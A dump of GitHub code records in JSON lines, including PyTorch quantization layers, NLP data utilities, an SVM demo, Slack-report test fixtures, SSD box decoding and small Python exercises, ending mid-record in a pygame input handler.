pass\n\n def kill(self, id):\n self.call('nuauth_command', 'disconnect', int(id))\n\n def canKill(self):\n if self.can_kill is None:\n self.can_kill = self.call('acl', 'check', 'nuauth_command', 'disconnect')\n return self.can_kill\n\n def fetch(self, callback):\n self.my_args = {'start': 0,\n 'limit': 10}\n self.my_args.update(self.fragment.args)\n self.my_args.update(self.args)\n\n filters = dict([(field, value) for field, value in self.my_args.items() if field in self.fields])\n\n result = self.asyncall('nuauth_command', 'getUsers', callback=lambda x: self.fetch_cb(callback, filters, x), errback=self._errorHandler)\n\n def fetch_cb(self, callback, filters, result):\n rowcount = len(result)\n\n # use only lines we want\n result = result[self.my_args['start'] : (self.my_args['start'] + self.my_args['limit'])]\n\n # The result is in form [{key: value, key2: value2, …}, {key: value, key2: value2, …}, …]\n # and the view needs table in form [[value, value2, …], [value, value2, …], …] in the order\n # of displayed columns.\n table = []\n for line in result:\n filtered = False\n for field, nuauth_field in zip(self.fields, self.nuauth_fields):\n if self.my_args.has_key(field) and self.my_args[field] != line[nuauth_field]:\n filtered = True\n\n if filtered:\n continue\n\n table += [[line['sock'], (line['name'], line['uid']), line['addr'], line['sysname'],\n line['connect_timestamp'], line['expire'], line['groups'], line['client_version']]]\n\n # the view needs to have a dict in this form.\n callback({'args': self.my_args,\n 'filters': filters,\n 'columns': self.fields,\n 'rowcount': rowcount,\n 'table': table,\n })\n","repo_name":"maximerobin/Ufwi","sub_path":"etude_de_base/ufwi-administration-suite-ufwi-log/ufwi_log/client/qt/fetchers/nuauth.py","file_name":"nuauth.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"3712636367","text":"from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Function\r\n\r\n# ********************* range_trackers(范围统计器,统计量化前范围) *********************\r\nclass RangeTracker(nn.Module):\r\n def __init__(self, q_level):\r\n super().__init__()\r\n self.q_level = q_level\r\n\r\n def update_range(self, min_val, max_val):\r\n raise NotImplementedError\r\n\r\n @torch.no_grad()\r\n def forward(self, input):\r\n if self.q_level == 'L': # A,min_max_shape=(1, 1, 1, 1),layer级\r\n min_val = torch.min(input)\r\n max_val = torch.max(input)\r\n elif self.q_level == 'C': # W,min_max_shape=(N, 1, 1, 1),channel级\r\n min_val = torch.min(torch.min(torch.min(input, 3, keepdim=True)[0], 2, keepdim=True)[0], 1, keepdim=True)[0]\r\n max_val = torch.max(torch.max(torch.max(input, 3, keepdim=True)[0], 2, keepdim=True)[0], 1, keepdim=True)[0]\r\n\r\n self.update_range(min_val, max_val)\r\n\r\nclass GlobalRangeTracker(RangeTracker): # W,min_max_shape=(N, 1, 1, 1),channel级,取本次和之前相比的min_max —— (N, C, W, H)\r\n def __init__(self, q_level, out_channels):\r\n super().__init__(q_level)\r\n self.register_buffer('min_val', torch.zeros(out_channels, 1, 1, 1))\r\n self.register_buffer('max_val', torch.zeros(out_channels, 1, 1, 1))\r\n self.register_buffer('first_w', torch.zeros(1))\r\n\r\n def update_range(self, min_val, max_val):\r\n temp_minval = self.min_val\r\n temp_maxval = self.max_val\r\n if self.first_w == 0:\r\n self.first_w.add_(1)\r\n self.min_val.add_(min_val)\r\n self.max_val.add_(max_val)\r\n else:\r\n self.min_val.add_(-temp_minval).add_(torch.min(temp_minval, min_val))\r\n self.max_val.add_(-temp_maxval).add_(torch.max(temp_maxval, max_val))\r\n\r\nclass AveragedRangeTracker(RangeTracker): # A,min_max_shape=(1, 1, 1, 1),layer级,取running_min_max —— (N, C, W, H)\r\n def __init__(self, q_level, momentum=0.1):\r\n super().__init__(q_level)\r\n self.momentum = momentum\r\n self.register_buffer('min_val', torch.zeros(1))\r\n self.register_buffer('max_val', torch.zeros(1))\r\n self.register_buffer('first_a', torch.zeros(1))\r\n\r\n def update_range(self, min_val, max_val):\r\n if self.first_a == 0:\r\n self.first_a.add_(1)\r\n self.min_val.add_(min_val)\r\n self.max_val.add_(max_val)\r\n else:\r\n self.min_val.mul_(1 - self.momentum).add_(min_val * self.momentum)\r\n self.max_val.mul_(1 - self.momentum).add_(max_val * self.momentum)\r\n# ********************* quantizers(量化器,量化) *********************\r\nclass Round(Function):\r\n\r\n @staticmethod\r\n def forward(self, input):\r\n output = torch.round(input)\r\n return output\r\n\r\n @staticmethod\r\n def backward(self, grad_output):\r\n grad_input = grad_output.clone()\r\n return grad_input\r\n\r\nclass Quantizer(nn.Module):\r\n def __init__(self, bits, range_tracker):\r\n super().__init__()\r\n self.bits = bits\r\n self.range_tracker = range_tracker\r\n self.register_buffer('scale', None) # 量化比例因子\r\n self.register_buffer('zero_point', None) # 量化零点\r\n\r\n def update_params(self):\r\n raise NotImplementedError\r\n\r\n # 量化\r\n def quantize(self, input):\r\n output = input * self.scale - self.zero_point\r\n return output\r\n\r\n def round(self, input):\r\n output = Round.apply(input)\r\n return output\r\n\r\n # 截断\r\n def clamp(self, input):\r\n output = torch.clamp(input, self.min_val, self.max_val)\r\n return output\r\n\r\n # 反量化\r\n def dequantize(self, input):\r\n output = (input + self.zero_point) / self.scale\r\n return output\r\n\r\n def forward(self, input):\r\n if self.bits == 32:\r\n output = input\r\n elif self.bits == 1:\r\n print('!Binary quantization is not supported !')\r\n assert self.bits != 1\r\n else:\r\n self.range_tracker(input)\r\n self.update_params()\r\n output = self.quantize(input) # 量化\r\n output = self.round(output)\r\n output = self.clamp(output) # 截断\r\n output = self.dequantize(output) # 反量化\r\n return output\r\n\r\nclass SignedQuantizer(Quantizer):\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.register_buffer('min_val', torch.tensor(-(1 << (self.bits - 1))))\r\n self.register_buffer('max_val', torch.tensor((1 << (self.bits - 1)) - 1))\r\n\r\nclass UnsignedQuantizer(Quantizer):\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.register_buffer('min_val', torch.tensor(0))\r\n self.register_buffer('max_val', torch.tensor((1 << self.bits) - 1))\r\n# 对称量化\r\nclass SymmetricQuantizer(SignedQuantizer):\r\n\r\n def update_params(self):\r\n quantized_range = torch.min(torch.abs(self.min_val), torch.abs(self.max_val)) # 量化后范围\r\n float_range = torch.max(torch.abs(self.range_tracker.min_val), torch.abs(self.range_tracker.max_val)) # 量化前范围\r\n self.scale = quantized_range / float_range # 量化比例因子\r\n self.zero_point = torch.zeros_like(self.scale) # 量化零点\r\n# 非对称量化\r\nclass AsymmetricQuantizer(UnsignedQuantizer):\r\n\r\n def update_params(self):\r\n quantized_range = self.max_val - self.min_val # 量化后范围\r\n float_range = self.range_tracker.max_val - self.range_tracker.min_val # 量化前范围\r\n self.scale = quantized_range / float_range # 量化比例因子\r\n self.zero_point = torch.round(self.range_tracker.min_val * self.scale) # 量化零点\r\n# W\r\nclass Binary_w(Function):\r\n\r\n @staticmethod\r\n def forward(self, input):\r\n output = torch.sign(input)\r\n return output\r\n\r\n @staticmethod\r\n def backward(self, grad_output):\r\n # *******************ste*********************\r\n grad_input = grad_output.clone()\r\n return grad_input\r\n\r\ndef meancenter_clampConvParams(w):\r\n mean = w.data.mean(1, keepdim=True)\r\n w.data.sub(mean) # W中心化(C方向)\r\n w.data.clamp(-1.0, 1.0) # W截断\r\n return w\r\n\r\nclass weight_tnn_bin(nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def binary(self, input):\r\n output = Binary_w.apply(input)\r\n return output\r\n\r\n def forward(self, input):\r\n # **************************************** W二值 *****************************************\r\n\r\n output = meancenter_clampConvParams(input) # W中心化+截断\r\n # **************** channel级 - E(|W|) ****************\r\n E = torch.mean(torch.abs(output), (3, 2, 1), keepdim=True)\r\n # **************** α(缩放因子) ****************\r\n alpha = E\r\n # ************** W —— +-1 **************\r\n output = self.binary(output)\r\n # ************** W * α **************\r\n output = output * alpha # 若不需要α(缩放因子),注释掉即可\r\n return output\r\n# ********************* 量化卷积(同时量化A/W,并做卷积) *********************\r\nclass Conv2d_Q(nn.Conv2d):\r\n def __init__(\r\n self,\r\n in_channels,\r\n out_channels,\r\n kernel_size,\r\n stride=1,\r\n padding=0,\r\n dilation=1,\r\n groups=1,\r\n bias=False,\r\n a_bits=8,\r\n w_bits=1,\r\n q_type=0,\r\n ):\r\n super().__init__(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n kernel_size=kernel_size,\r\n stride=stride,\r\n padding=padding,\r\n dilation=dilation,\r\n groups=groups,\r\n bias=bias\r\n )\r\n # 实例化量化器(A-layer级,W-channel级)\r\n self.activation_quantizer = SymmetricQuantizer(bits=a_bits, range_tracker=AveragedRangeTracker(q_level='L'))\r\n self.weight_quantizer = weight_tnn_bin()\r\n\r\n def forward(self, input):\r\n # 量化A和W\r\n q_input = self.activation_quantizer(input)\r\n q_weight = self.weight_quantizer(self.weight)\r\n # 量化卷积\r\n output = F.conv2d(\r\n input=q_input,\r\n weight=q_weight,\r\n bias=self.bias,\r\n stride=self.stride,\r\n padding=self.padding,\r\n dilation=self.dilation,\r\n groups=self.groups\r\n )\r\n return output\r\n\r\nclass QuanConv2d(nn.Module):\r\n def __init__(self, input_channels, output_channels,\r\n kernel_size=-1, stride=-1, padding=-1, groups=1, abits=8, wbits=1, q_type=1):\r\n super(QuanConv2d, self).__init__()\r\n self.q_conv = Conv2d_Q(input_channels, output_channels,\r\n kernel_size=kernel_size, stride=stride, padding=padding, groups=groups, a_bits=abits,\r\n w_bits=wbits, q_type=q_type)\r\n self.bn = nn.BatchNorm2d(input_channels,momentum=0.01)\r\n self.relu = nn.ReLU(inplace=True)\r\n\r\n def forward(self, x):\r\n x = self.bn(x)\r\n x = self.q_conv(x)\r\n x = self.relu(x)\r\n return x\r\n","repo_name":"1009qjm/W1A8-quantization","sub_path":"quantization.py","file_name":"quantization.py","file_ext":"py","file_size_in_byte":9471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74466682007","text":"import os\r\nimport sys\r\nimport time\r\n\r\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\")))\r\n\r\nimport io\r\nimport json\r\nimport pickle\r\nfrom collections import defaultdict, Counter\r\nfrom tqdm import tqdm\r\n\r\nimport numpy as np\r\nimport torch\r\nimport torch.autograd as autograd\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nfrom util.path import *\r\n\r\n\r\n# ===================== load & save =========================\r\n\r\ndef load_json(file_path):\r\n ''' load json file '''\r\n with open(file_path, \"r\", encoding=\"utf8\") as f:\r\n data = json.load(f)\r\n return data\r\n\r\ndef dump_json(data, file_path):\r\n ''' save json file '''\r\n with open(file_path, \"w\", encoding=\"utf8\") as f:\r\n json.dump(data, f, ensure_ascii=False)\r\n\r\n\r\ndef load_pkl(path):\r\n ''' load pkl '''\r\n with open(path, \"rb\") as f:\r\n return pickle.load(f)\r\n\r\n\r\ndef dump_pkl(data, path):\r\n ''' save pkl '''\r\n with open(path, \"wb\") as f:\r\n pickle.dump(data, f, protocol=2)\r\n\r\n\r\ndef load_str_lst(path):\r\n ''' load string list '''\r\n strs = []\r\n with open(path, \"r\", encoding=\"utf8\") as f:\r\n for line in tqdm(f):\r\n strs.append(line.strip())\r\n return strs\r\n\r\ndef dump_str_lst(lst, path):\r\n ''' save string list '''\r\n with open(path, \"w\", encoding=\"utf8\") as f:\r\n for string in tqdm(lst):\r\n f.write(string+'\\n')\r\n\r\ndef load_str_dict(path, seperator=\"\\t\", reverse=False, add_pad=False):\r\n ''' load string dict '''\r\n if add_pad:\r\n dictionary, reverse_dictionay = {0: \"\"}, {\"\": 0}\r\n else:\r\n dictionary, reverse_dictionay = {}, {}\r\n with open(path, \"r\", encoding=\"utf8\") as f:\r\n for line in tqdm(f):\r\n try:\r\n key, value = line.strip().split(seperator)\r\n key = int(key)+1 if add_pad else int(key)\r\n dictionary[key] = value\r\n reverse_dictionay[value] = key\r\n except:\r\n pass\r\n if reverse:\r\n return dictionary, reverse_dictionay, len(dictionary)\r\n return dictionary, len(dictionary)\r\n\r\n\r\ndef load_propara_data(path_data_dir):\r\n ''' load ProPara data '''\r\n print(\"loading propara data from %s ...\" % path_data_dir)\r\n path_sentences = os.path.join(path_data_dir, \"sentences.tsv\")\r\n path_answers = os.path.join(path_data_dir, \"answers.tsv\")\r\n # sentences\r\n docs = {}\r\n for line in load_str_lst(path_sentences):\r\n doc_idx, sent_idx, sentence = line.split(\"\\t\")\r\n if doc_idx not in docs:\r\n docs[doc_idx] = {}\r\n docs[doc_idx][sent_idx] = sentence\r\n # answers\r\n tables = {}\r\n for line in load_str_lst(path_answers):\r\n doc_idx, sent_idx, participants, action, location_before, location_after = line.split(\"\\t\")\r\n if doc_idx not in tables:\r\n tables[doc_idx] = {}\r\n if sent_idx not in tables[doc_idx]:\r\n tables[doc_idx][sent_idx] = []\r\n gold = {}\r\n gold[\"entity\"] = tuple(s for s in participants.split(\";\"))\r\n gold[\"action\"] = action \r\n gold[\"location_before\"] = location_before\r\n gold[\"location_after\"] = location_after\r\n tables[doc_idx][sent_idx].append(gold)\r\n return docs, tables\r\n\r\ndef load_vocab(file_path):\r\n ''' load vocab '''\r\n word2index, index2word, idx = {}, {}, 0\r\n print(file_path)\r\n with open(file_path, \"r\", encoding=\"utf8\") as f:\r\n for line in f:\r\n word = line.strip()\r\n word2index[word] = idx\r\n index2word[idx] = word \r\n idx += 1 \r\n vocab_size = len(word2index)\r\n return vocab_size, word2index, index2word\r\n\r\ndef load_word_vector(file_path, max_vocab_size=None, additional_words=None):\r\n '''\r\n 读取词向量\r\n param:\r\n file_path: 路径\r\n max_vocab_size: 读取的词的数量,会读取词频最高的max_vocab_size个\r\n additional_words: 新增的词,随机初始化\r\n return:\r\n vocab_size: 读取的词数量\r\n embedding_dim: embedding维度\r\n word2index: 词到index的转换\r\n index2word: index到词的转换\r\n embeddings: embedding矩阵\r\n '''\r\n \r\n print(\"loading word vectors...\")\r\n word2index, index2word = {}, {}\r\n embeddings = []\r\n\r\n # load\r\n with open(file_path, \"r\", encoding=\"utf8\") as f:\r\n # first row\r\n line = f.readline()\r\n if \" \" in line:\r\n line = line.strip().split(\" \")\r\n elif \"\\t\" in line:\r\n line = line.strip().split(\"\\t\")\r\n vocab_size = int(line[0]) if max_vocab_size is None else max_vocab_size\r\n embedding_dim = int(line[1])\r\n\r\n # rest lines\r\n index = 0\r\n log_thr = 0.1\r\n for line in f:\r\n line = line.strip().split(\" \")\r\n word = line[0]\r\n vector = list(map(float, line[1:]))\r\n\r\n if len(vector) != embedding_dim:\r\n continue\r\n\r\n word2index[word] = index\r\n index2word[index] = word\r\n embeddings.append(vector)\r\n\r\n percentage = float(index) / vocab_size\r\n if percentage > log_thr:\r\n print(\"%f%% loaded\" % (percentage * 100))\r\n log_thr += 0.1\r\n index += 1\r\n \r\n if max_vocab_size is not None and index == max_vocab_size:\r\n break\r\n\r\n vocab_size = len(word2index)\r\n embedding_dim = len(embeddings[0])\r\n\r\n # check \r\n if \"\" not in word2index:\r\n print(\"add into wordvec ...\")\r\n # vocab_size\r\n vocab_size += 1\r\n # word2index\r\n new_word2index = {\"\": 0}\r\n for word, index in word2index.items():\r\n new_word2index[word] = index+1\r\n word2index = new_word2index\r\n # index2word\r\n index2word = {}\r\n for word, index in word2index.items():\r\n index2word[index] = word\r\n # embeddings\r\n embeddings = [[0.] * embedding_dim] + embeddings\r\n\r\n # check \r\n if \"\" not in word2index:\r\n print(\"add into wordvec ...\")\r\n # vocab_size\r\n vocab_size += 1\r\n # word2index\r\n new_word2index = {\"\": 1}\r\n for word, index in word2index.items():\r\n if index < 1:\r\n new_word2index[word] = index\r\n else:\r\n new_word2index[word] = index+1\r\n word2index = new_word2index\r\n # index2word\r\n for word, index in word2index.items():\r\n index2word[index] = word\r\n # embeddings\r\n def normalize(vec):\r\n '''\r\n 归一化\r\n '''\r\n vec = np.array(vec)\r\n norm = np.linalg.norm(vec)\r\n if norm == 0:\r\n return vec\r\n return vec / norm\r\n UNK_embedding = np.array(embeddings[1:])\r\n UNK_embedding = np.mean(UNK_embedding, axis=0)\r\n UNK_embedding = normalize(UNK_embedding)\r\n UNK_embedding = list(UNK_embedding)\r\n embeddings = [embeddings[0]] + [UNK_embedding] + embeddings[1:]\r\n\r\n # additional words\r\n if additional_words:\r\n print(\"add additional_words into wordvec ...\")\r\n for word in additional_words:\r\n embedding = list(np.random.rand(embedding_dim))\r\n embeddings.append(embedding)\r\n word2index[word] = vocab_size\r\n index2word[vocab_size] = word \r\n vocab_size += 1\r\n\r\n print(\"complete!!!\")\r\n return vocab_size, embedding_dim, word2index, index2word, embeddings\r\n\r\n\r\n# ============== data transformation ==================\r\n\r\ndef padding_sequence(indices, max_length, pad_idx):\r\n '''\r\n param:\r\n indices: [1,5,23]\r\n max_length: int \r\n pad_idx: int\r\n return:\r\n padded_indices: []\r\n '''\r\n if len(indices) >= max_length:\r\n return indices[:max_length]\r\n else:\r\n return indices + [pad_idx] * (max_length - len(indices))\r\n\r\ndef batch_padding_lm(batch, max_length=float(\"inf\")):\r\n batch_pad = []\r\n max_length = min(max([length for seq, forward, backward, length in batch]), max_length)\r\n for seq, forward, backward, length in batch:\r\n if max_length > len(seq):\r\n seq += [0] * (max_length-len(seq))\r\n forward += [0] * (max_length-len(forward))\r\n backward += [0] * (max_length-len(backward))\r\n else:\r\n seq = seq[:max_length]\r\n forward = forward[:max_length]\r\n backward = backward[:max_length]\r\n length = max_length\r\n batch_pad.append((seq, forward, backward, length))\r\n return batch_pad, max_length\r\n\r\n\r\ndef gen_mask(batch_size, lengths, max_length):\r\n ''' generate mask matrix '''\r\n mat = []\r\n for length in lengths:\r\n one = torch.ones((1, length), dtype=torch.uint8)\r\n if length < max_length:\r\n zero = torch.zeros((1, max_length-length), dtype=torch.uint8)\r\n vec = torch.cat([one, zero], dim=1)\r\n else:\r\n vec = one\r\n mat.append(vec)\r\n mat = torch.cat(mat, dim=0)\r\n return mat\r\n\r\n# ===================== main =========================\r\n\r\ndef main():\r\n pass\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"esddse/IEN","sub_path":"src/util/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":9398,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"29893362646","text":"__author__ = 'niharika sharma'\n\n\"\"\"\nThis file runs the linear support vector machine with the squared hinge\nloss on a simple simulated dataset. The function visualizes the\ntraining process, and print the performance - the mis-classification error,\nthe accuracy score and the confusion matrix.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn import cross_validation\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as mpl\nimport svm_squared_hinge as svm\nfrom sklearn.metrics import accuracy_score, confusion_matrix\n\n# Create Simulated Data\nnp.random.seed(0)\nmu, sigma = 10, 100 # mean and standard deviation\nclass1 = pd.DataFrame(np.random.normal(mu, sigma, [500, 5]))\nclass1['y'] = 1\nmu1, sigma1 = 100, 10 # mean and standard deviation\nclass2 = pd.DataFrame(np.random.normal(mu1, sigma1, [500, 5]))\nclass2['y'] = -1\n\n# Join a sequence of arrays along an existing axis.\ndata = np.concatenate((class1, class2), axis=0)\ny = data[:, 5]\nx = data[:, 0:5]\n\n# Divide the data into train, test sets\nx_train, x_test, y_train, y_test = cross_validation.train_test_split(x, y, test_size=0.2, random_state=42)\n\n# Standardize the data\nstd_scale = preprocessing.StandardScaler()\nstd_scale.fit(x_train)\nx_train = std_scale.transform(x_train)\nx_test = std_scale.transform(x_test)\n\n# initialize hyper-parameters\nd = np.size(x, 1)\nmax_iter = 100\nalpha = 0.5\ngamma = 0.8\n\n# compute initial step size\nstep_size_init = svm.initial_step_size(x_train, y_train, lam=0.001)\n\n# Run cross-validation to find the optimal value of lambda\nlam = svm.cross_validation(x_train, y_train, x_test, y_test, step_size_init, alpha, gamma, max_iter)\nbeta_init = np.zeros(d)\ntheta_init = np.zeros(d)\nstep_size_init = svm.initial_step_size(x_train, y_train, lam)\n\n# Run fast grad algo to find the beta coefficients\nbetas_fastgrad, thetas_fastgrad = svm.mylinearsvm(beta_init, theta_init, lam, step_size_init, alpha, gamma, max_iter,\n x_train, y_train)\n\n# we can use both betas_fastgrad, or thetas_fastgrad\ngradf_vals = [svm.objective(x_train, y_train, betaf, lam) for betaf in betas_fastgrad]\n\n# visualize the training process - Objective function value per iteration\nmpl.plot(range(1, np.size(betas_fastgrad, 0) + 1), gradf_vals, \"g\")\nmpl.show()\n\n# Mis-classification error on test data\nprint('Mis-classification error on test data is ',\n svm.compute_misclassification_error(betas_fastgrad[-1, :], x_test, y_test))\n\n# Predict the labels of test data using optimal beta values calculated using fast grad\nmy_y_pred = (np.dot(x_test, betas_fastgrad[-1, :]) > 0) * 2 - 1\n\n# accuracy\nprint(\"Accuracy using my linear svm : {0:0.1f}%\".format(accuracy_score(y_test, my_y_pred) * 100))\n\n# Confusion Matrix\ncm = confusion_matrix(y_test, my_y_pred)\nprint('Confusion Matrix using my linear svm :\\n', cm)\n","repo_name":"niharikasharma/Data-558-njsharma","sub_path":"polished_code/demo_simulated_dataset.py","file_name":"demo_simulated_dataset.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35523618732","text":"import datetime\n\nimport pytest\n\nfrom src.code.model.control_panel import ControlPanel\nfrom src.code.model.request import Request\n\n\n@pytest.fixture()\ndef cp_daily_report():\n def __add_testing_record(data):\n schedule = data.get(\"schedule\")\n time_zone = data.get(\"timezone\", \"UTC\")\n return ControlPanel(\n id=1,\n slack_channel_name=\"channel1\",\n slack_channel_id=\"BOGUS_CHANNEL_ID\",\n channel_properties={\n \"features\": {\"daily_report\": {\"enabled\": True}},\n \"_daily_report\": {\n \"schedules\": [\n {\n \"local_time\": schedule[0][\"local_time\"],\n \"last_report_datetime_utc\": schedule[0][\"last_report_datetime_utc\"],\n }\n ],\n \"time_zone\": time_zone,\n },\n },\n )\n\n return __add_testing_record\n\n\n@pytest.fixture()\ndef daily_report_request_for_test():\n def _create_request_for_test(date, link, message=(), reaction=(), completion_datetime_utc=None):\n return Request(\n completion_datetime_utc=completion_datetime_utc,\n request_link=link,\n request_types={\"message\": message, \"reaction\": reaction},\n event_ts=date,\n )\n\n return _create_request_for_test\n\n\n@pytest.fixture()\ndef x_random_records_for_testing():\n def __create_x_random_records_for_testing(number_of_records: int, date_time: datetime.datetime):\n num = 0\n while num < number_of_records:\n yield Request(\n event_ts=date_time.timestamp(),\n request_link=\"https://.slack.com/archives/BOGUS_CHANNEL_ID/p1651157022748229\",\n request_types={\"message\": [\"cloud-incident\", \"cloud-bug\", \"cloud-props\"], \"reaction\": []},\n )\n num += 1\n\n return __create_x_random_records_for_testing\n","repo_name":"babylonhealth/slack011y-bus","sub_path":"src/tests/report/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"70304727449","text":"# !/usr/bin/env python\n# -*-coding:utf-8 -*-\n\n\"\"\"\n# File : box_utils.py\n# Author :CodeCat\n# version :python 3.7\n# Software :Pycharm\n\"\"\"\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torchvision.ops import nms\n\n\nclass BBoxUtility(object):\n def __init__(self, num_classes):\n self.num_classes = num_classes\n\n @staticmethod\n def ssd_correct_boxes(box_xy, box_wh, input_shape, image_shape, letterbox_image):\n box_yx = box_xy[..., ::-1]\n box_hw = box_wh[..., ::-1]\n input_shape = np.array(input_shape)\n image_shape = np.array(image_shape)\n\n if letterbox_image:\n new_shape = np.round(image_shape * np.min(input_shape/image_shape))\n offset = (input_shape - new_shape) / 2. / input_shape\n scale = input_shape / new_shape\n box_yx = (box_yx - offset) * scale\n box_hw *= scale\n\n box_mins = box_yx - (box_hw / 2.)\n box_maxes = box_yx + (box_hw / 2.)\n boxes = np.concatenate([box_mins[..., 0:1], box_mins[..., 1:2], box_maxes[..., 0:1], box_maxes[..., 1:2]], axis=-1)\n boxes *= np.concatenate([image_shape, image_shape], axis=-1)\n return boxes\n\n @staticmethod\n def decode_boxes(mbox_loc, anchors, variances):\n # 获得先验框的宽高\n anchor_width = anchors[:, 2] - anchors[:, 0]\n anchor_height = anchors[:, 3] - anchors[:, 1]\n # 获得先验框的中心\n anchor_center_x = 0.5 * (anchors[:, 2] + anchors[:, 0])\n anchor_center_y = 0.5 * (anchors[:, 3] + anchors[:, 1])\n\n # 真实框中心的获取\n decode_bbox_center_x = mbox_loc[:, 0] * anchor_width * variances[0]\n decode_bbox_center_x += anchor_center_x\n decode_bbox_center_y = mbox_loc[:, 1] * anchor_height * variances[0]\n decode_bbox_center_y += anchor_center_y\n\n # 真实框的宽高的获取\n decode_bbox_width = torch.exp(mbox_loc[:, 2] * variances[1])\n decode_bbox_width *= anchor_width\n decode_bbox_height = torch.exp(mbox_loc[:, 3] * variances[1])\n decode_bbox_height *= anchor_height\n\n # 获取真实框的左上角和右下角\n decode_bbox_xmin = decode_bbox_center_x - 0.5 * decode_bbox_width\n decode_bbox_ymin = decode_bbox_center_y - 0.5 * decode_bbox_height\n decode_bbox_xmax = decode_bbox_center_x + 0.5 * decode_bbox_width\n decode_bbox_ymax = decode_bbox_center_y + 0.5 * decode_bbox_height\n\n decode_bbox = torch.cat(\n (decode_bbox_xmin[:, None],\n decode_bbox_ymin[:, None],\n decode_bbox_xmax[:, None],\n decode_bbox_ymax[:, None]), dim=-1\n )\n\n decode_bbox = torch.clamp(decode_bbox, min=0, max=1)\n return decode_bbox\n\n def decode_box(\n self,\n predictions,\n anchors,\n image_shape,\n input_shape,\n letterbox_image,\n variances=(0.1, 0.2),\n nms_iou=0.3,\n confidence=0.5\n ):\n mbox_loc = predictions[0]\n mbox_conf = nn.Softmax(-1)(predictions[1])\n\n results = []\n\n for i in range(len(mbox_loc)):\n results.append([])\n decode_bbox = self.decode_boxes(mbox_loc[i], anchors, variances)\n for c in range(1, self.num_classes):\n c_confs = mbox_conf[i, :, c]\n c_confs_m = c_confs > confidence\n if len(c_confs[c_confs_m]) > 0:\n boxes_to_process = decode_bbox[c_confs_m]\n confs_to_process = c_confs[c_confs_m]\n\n keep = nms(\n boxes_to_process,\n confs_to_process,\n nms_iou\n )\n\n good_boxes = boxes_to_process[keep]\n confs = confs_to_process[keep][:, None]\n labels = (c-1) * torch.ones((len(keep), 1)).cuda() if confs.is_cuda else (c-1) * torch.ones((len(keep), 1))\n\n c_pred = torch.cat((good_boxes, labels, confs), dim=1).cpu().numpy()\n\n results[-1].extend(c_pred)\n\n if len(results[-1]) > 0:\n results[-1] = np.array(results[-1])\n box_xy= (results[-1][:, 0:2] + results[-1][:, 2:4]) / 2\n box_wh = results[-1][:, 2:4] - results[-1][:, 0:2]\n results[-1][:, :4] = self.ssd_correct_boxes(box_xy, box_wh, input_shape, image_shape, letterbox_image)\n return results","repo_name":"codecat0/CV","sub_path":"Object_Detection/SSD/utils/box_utils.py","file_name":"box_utils.py","file_ext":"py","file_size_in_byte":4527,"program_lang":"python","lang":"en","doc_type":"code","stars":140,"dataset":"github-code","pt":"31"} +{"seq_id":"401324548","text":"from email import message\nfrom re import T\nfrom typing import List\n\n\nmessage = \"past live\"\n\nfirst_name = \"lawrence\"\nlast_name = \"zhou\"\nfull_name = f\"{first_name} {last_name} \"\n\n# f字符串 可以通过把或括号内的变量替换为其值来设置字符串的格式 \n\nprint(f\"The name :{full_name.upper()}\")\n\nprint(full_name.title())\n\nprint(full_name.lower())\n\nprint(full_name.upper())\n\n# 自动删除后面的空格\nfake_name = full_name.rstrip()\nprint(fake_name == full_name)\n\n\n\n\n\n\n","repo_name":"NefelibataJay/The-way-to-the-CS","sub_path":"Python/Study/Variable_Type/String.py","file_name":"String.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9009243675","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 5 12:08:52 2021\r\n\r\n@author: juanj\r\n\"\"\"\r\n\r\nnum = 100\r\ncont= 0\r\n\r\nwhile num > 0: \r\n num = num + cont\r\n cont = cont + 1\r\n print(\"suma es:\",cont)","repo_name":"JuanjoD06/Ejercicios-","sub_path":"prg_18.py","file_name":"prg_18.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28119692487","text":"import pygame\n\nclass InputHandler:\n\t\n\tpanning = {\n\t\tpygame.K_UP: [0,-1],\n\t\tpygame.K_DOWN: [0,1],\n\t\tpygame.K_LEFT: [-1,0],\n\t\tpygame.K_RIGHT: [1,0]\n\t}\n\t\n\tmovements = {\n\t\tpygame.K_KP1: [-1, 1],\n\t\tpygame.K_KP2: [0,1],\n\t\tpygame.K_KP3: [1, 1],\n\t\tpygame.K_KP4: [-1,0],\n\t\tpygame.K_KP6: [1,0],\n\t\tpygame.K_KP7: [-1, -1],\n\t\tpygame.K_KP8: [0,-1],\n\t\tpygame.K_KP9: [1, -1]\n\t}\n\t\n\tdef __init__(self, engine, mapview, units):\n\t\tself.engine = engine\n\t\tself.mapview = mapview\n\t\tself.units = units\n\t\n\tdef linkUnit(self, unit):\n\t\tself.unit = unit\n\t\n\tdef handleInput(self):\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == 